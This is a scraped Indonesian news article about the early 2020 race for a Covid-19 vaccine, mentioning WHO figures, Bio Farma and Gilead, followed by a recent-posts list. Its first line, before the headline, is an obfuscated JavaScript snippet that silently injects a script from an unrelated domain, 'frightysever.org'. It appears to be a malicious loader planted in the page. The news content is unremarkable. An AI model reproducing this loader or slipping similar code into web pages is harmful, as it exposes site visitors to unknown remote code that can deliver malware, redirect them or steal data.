(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Dunia Menanti Kepastian Vaksin Covid-19


KANALKALIMANTAN.COM, BANJARBARU – Kecepatan infeksi virus corona tipe baru yang awal Desember 2019 menyebar di Wuhan, Provinsi Hubei, China, membuat para peneliti dunia tertantang untuk memecahkan persoalan kesehatan tersebut.

Pada Jum’at (6/3/2020), dalam 24 jam terakhir WHO mencatat 2.736 laporan kasus Covid-19 dari 47 negara dan wilayah sehingga total kasus infeksi virus corona baru yang dilaporkan secara global mencapai 98.023 dengan jumlah kematian mencapai 3.380.

Vaksin untuk menghambat perkembangan virus tersebut dibutuhkan untuk mencegah terus meningkatnya eskalasi wabah. Sejumlah lembaga pun menyatakan tengah berupaya membuat vaksin tersebut. Salah satunya adalah PT Bio Farma (Persero), BUMN farmasi.

Direktur Utama Bio Farma Honesti Basyir menyatakan bahwa Bio Farma baru memulai penelitian karena telah memiliki sampel dari dua kasus yang dinyatakan terinfeksi. Namun diakuinya, penelitian membuat vaksi membutuhkan waktu yang tidak sebentar. Normalnya, pengembangan pembuatan vaksin memerlukan waktu sekitar 10-15 tahun.

Februari lalu, melalui laman resminya, Direktur Jenderal WHO Tedros Adhanom Ghebreyesus mengatakan bahwa WHO telah menggelar pertemuan yang dihadiri lebih dari 400 ilmuwan untuk mengidentifikasi prioritas penelitian untuk menyelamatkan nyawa dan menemukan vaksin dan terapi dalam jangka panjang.

Prioritas penelitian virus corona di antaranya mencakup upaya untuk mencari tahu sejarah alami virus, epidemiologi, vaksin, diagnostik, terapi, manajemen klinis, pertimbangan etis, dan ilmu sosial.

Selain Indonesia, lembaga penelitian lain juga telah memulai membuat vaksin yang beberapa dikembangkan dari vaksin virus lainnya. Sebagai contoh Gilead Sciences yang telah memulai uji coba Remdesivir. Lembaga ini berkolaborasi dengan pemerintah China. Adapun lembaga lainnya berasal dari negara Israel, MIGAL Galilee Research Instititue yang akan memulai uji coba sekitar 90 hari lagi. (kanalkalimantan.com/andy)

 

Reporter : Andy
Editor : KK

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.